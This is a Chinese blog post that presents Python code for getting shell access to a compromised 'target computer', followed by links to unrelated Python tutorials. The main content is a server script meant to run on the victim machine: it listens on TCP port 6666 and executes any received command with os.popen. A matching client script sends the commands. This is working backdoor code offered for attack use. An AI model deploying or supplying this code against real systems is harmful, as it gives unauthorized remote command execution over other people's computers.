python模拟菜刀反弹shell绕过限制【推荐】

yipeiwu_com7年前Python基础

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

相关文章

在Pandas中给多层索引降级的方法

# 背景介绍 通常我们不会在Pandas中主动设置多层索引,但是如果一个字段做多个不同的聚合运算, 比如sum, max这样形成的Column Level是有层次的,这样阅读非常方便,但...

Python3.6 Schedule模块定时任务(实例讲解)

Python3.6 Schedule模块定时任务(实例讲解)

一,编程环境 PyCharm2016,Anaconda3 Python3.6 需要安装schedule模块,该模块网址:https://pypi.python.org/pypi/sche...

对Python模块导入时全局变量__all__的作用详解

对Python模块导入时全局变量__all__的作用详解

Python中一个py文件就是一个模块,“__all__”变量是一个特殊的变量,可以在py文件中,也可以在包的__init__.py中出现。 1、在普通模块中使用时,表示一个模块中允许哪...

python 列表、字典和集合的添加和删除操作

在python中,元组不可变,只能查询不能修改,列表、字典和集合的基本操作,各不相同,下面就来比较一下它们的添加和删除操作吧。 添加 一、列表 1.“+”号 #两个数组相加,生成一个...

python字符串替换re.sub()方法解析

pattern可以是一个字符串也可以是一个正则,用于匹配要替换的字符,如果不写,字符串不做修改。\1 代表第一个分组 repl是将会被替换的值,repl可以是字符串也可以是一个方法。如果...